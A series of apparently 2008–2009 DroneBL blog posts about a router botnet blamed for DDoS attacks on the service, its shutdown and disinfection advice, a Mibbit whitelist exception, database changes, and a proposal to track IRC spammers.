We came across this botnet as part of an investigation into the DDoS attacks against DroneBL's infrastructure two weeks ago, and feel that this botnet was the one which flooded DroneBL.

We are looking into finding out more information about this botnet, and its controller. If you have any information, we would like to know.

If you intend to disassemble this botnet, you should note it's UPX-compressed.

I estimate that at the time of writing, there is at least 100,000 hosts infected.

I suspect that the .sql and .pma exploit tools are used for finding more controllers. But I do not have the controller payload.

This technique is one to be extremely concerned about because most end users will not know their network has been hacked, or that their router is exploited. This means that in the future, this could be an attack vector for the theft of personally identifying information. This technique will certainly not be going away.

Update

Some prior research about an earlier version has been found here. This research was done by Terry Baume.

Update 2

This botnet has apparently been shutdown:

* Now talking on #mipsel
* Topic for #mipsel is: .silent on .killall .exit ._exit_ .Research is over:
 for those interested i reached 80K. That was fun :), time to get back to the real life... (To the DroneBL guys:
 I never DDOSed/Phished anybody or peeked on anybody's private data for that matter)
* Topic for #mipsel set by DRS at Sun Mar 22 17:02:15 2009

While this information may or may not be true, we have received HTTP-based floods from IPs participating in this botnet.

We are still interested in this DRS person. If you have any information, please provide it to DroneBL. We will not disclose our sources.

We also hope that the router and modem manufacturers which have been monitoring this incident take note of it and secure their firmware from future attacks.

Update 3 (Disinfection Instructions)

We have been getting asked a lot about disinfection instructions.

To disinfect, simply powercycle your device and take appropriate action to lock it down, including the latest firmware updates, and using a secure password.



nenolod / Mar-22-2009 07:32:31 GMT / 70 comment(s) (3 moderated) / Comment

Mibbit.

Earlier today, Mibbit was listed in DroneBL. This seems to ultimately have been a side effect of a glitch that happened when we converted the database to PostgreSQL, and only affected a handful of IPs, including mibbits -- Mibbit was listed in DroneBL as a proxy back in December, if anybody remembers.

Anyway, we have decided to give Mibbit a whitelist exception today, so this will not cause any disruption in the future for a service the size of Mibbit.

Some people have taken offense to the fact that we have whitelisted Mibbit, so I would like to explain why we made this decision.

DroneBL has never targeted hosts that can be blocked as a matter of policy. Examples here include TOR exit-nodes, which can be blocked by using tor.ahbl.org, or the newer exitnodes.tor-project.org service. We feel that Mibbit can be blocked by banning the IPs of their backend servers from your service.

While Mibbit technically is an open HTTP proxy, in some respects, and can be abused by enterprising trolls, it is a service that is mostly blockable by setting a local policy to not allow egress traffic from their server to yours, be this through firewalling them or akilling them from the IRC server level.

Anyway, the point is, DroneBL does not target services which can be blocked by means of policy. So, we have decided to whitelist Mibbit for this reason.

Please note that while we are whitelisting Mibbit, it does not mean that Mibbit wont be banned through other services. It just means it wont be banned through DroneBL.

nenolod / Mar-03-2009 19:16:31 GMT / 1 comment(s) / Comment

switched to postgresql

We have switched to using postgresql. Let us know if anything is unusual.

nenolod / Mar-02-2009 15:32:10 GMT / 0 comment(s) / Comment

100000 active listings!

On Feb-17-2009 23:08:45 GMT, we hit 100000 active listings.

nenolod / Feb-18-2009 23:52:54 GMT / 3 comment(s) / Comment

new RBLDNS server

A new server has been added to our RBLDNS pool. It is sponsored by Support Intelligence, Inc., a security firm which provides incident monitoring of networks. Thanks!

nenolod / Jan-27-2009 01:12:46 GMT / 0 comment(s) / Comment

thoughts on tracking spammers and griefers

The types of services that DroneBL caters to (online real-time communities) have common problems of spamming and griefing (abusive threats toward what are usually administrators or channel owners, likely due to being banned for violations of community rules). In fact, in some cases the spam activity itself is a form of internet griefing.

On this topic, I wrote the following on the irc-security list, which I want to expand on here, because we intend to experiment with ways to deal with these problems next:

What we need to stop this undesired behaviour is extensive solidarity,
in many forms:

1) Services like DroneBL. These services can be used to stop his
spambot, by listing his IP immediately upon reports of spam.
Approximately more than 90% of known networks are using DroneBL as a
reference for banning. By adding his source IPs, this reduces his attack
vector by at least 90%.

2) Making it very clear that the IRC community will not condone networks
that harbour or condone his behaviour, or even worse, encourage as is
the current situation. In the current situation, the owner of
irc.darkscience.ws has been seen as saying that ep0ch is a friend of
his, and that he fully supports the activity. By speaking loudly to
upstream providers of this network and pursuing suspensions, this
behaviour will likely be curbed.

3) Making it very clear that the IRC community will not condone service
providers which profit from networks/servers benefiting from spam. The
IRC community has a voice with DroneBL, and other services like it, to
ensure that there are harsh penalties for service providers which
harbour spam sources or beneficiaries. 

While I do not typically believe in community lynchings of net trash, if
we really want this behaviour to stop, we must become more aggressive in
ensuring that it is infact stopped. That said, we should be very careful
that networks being spammed by people like ep0ch are not victims
themselves before taking direct action.

But, the basic idea is, "if you spam on IRC, there will be a penalty."
Or, something like that. Thoughts? Maybe I am just rambling crackaddled
thoughts here?

A large part of the problem is that there is no system for tracking the people behind the abuse. Without such an effort, there is no way that the communities DroneBL provides services to can deal with stopping them in some sense of full solidarity.

So, we need a system to deal with griefers like the person I describe on irc-security in that post. Is DroneBL itself that system? No!

But, is such a system related to the mission of DroneBL? Yes, it is. However, such a system needs to be designed where the community can collaborate on collecting as much evidence of abuse as possible. Collection of large dossiers of abuse against IRC spammers and griefers will be helpful in taking action with abuse desks at ISPs.

But what about ISPs that do not care? Obviously, we cannot ban AT&T, but we can for instance, pressure service providers to do the right thing. For example, a shell provider hosting services belonging to the spammer, could be convinced to drop the spammer's account. In such a case, the abuser would have less resources to use for causing trouble.

Also by having a service which tracks the people behind the netabuse, we can put pressure on them to do the right thing and discontinue their abusive activities.

So, the question is, if I made a service which tracked people, making them no longer anonymous, and providing the IRC community with the ability to make it clear that there will be a consequence for these abusers, would people actually use it to make the consequence effective?

What would need to be done to make such a service, and it's consequence effective? Is the IRC community willing to cooperate to make such a service effective and trustworthy? We need to make sure we are truly banning dirt, such a system could be used as a tool for vengeance and revenge easily, if created with the wrong policies.

I would love to hear thoughts (in the form of lovely comments, especially). This is a tricky situation, and if we, as a community work on making it happen, we should make sure we get it right the first time.

nenolod / Nov-14-2008 06:01:34 GMT / 9 comment(s) / Comment

DroneBL database rebuild

Through a series of unfortunate circumstances, the DroneBL database was lost. The blacklist was successfully imported from a mirror, and should be back the way it was before the crash.

However, RPCkeys were lost and should be re-requested. If you wish to continue using the same RPCkey you have been using, please visit us in #dronebl on irc.atheme.org. State your purpose in the channel, and a DroneBL staff member will address your request as soon as possible. Otherwise, feel free to use the key request page.

Thank you for your patience, and thanks to the DroneBL staff members who worked diligently to restore the DroneBL service with very little downtime.

rojo / Oct-20-2008 15:41:03 GMT / 0 comment(s) / Comment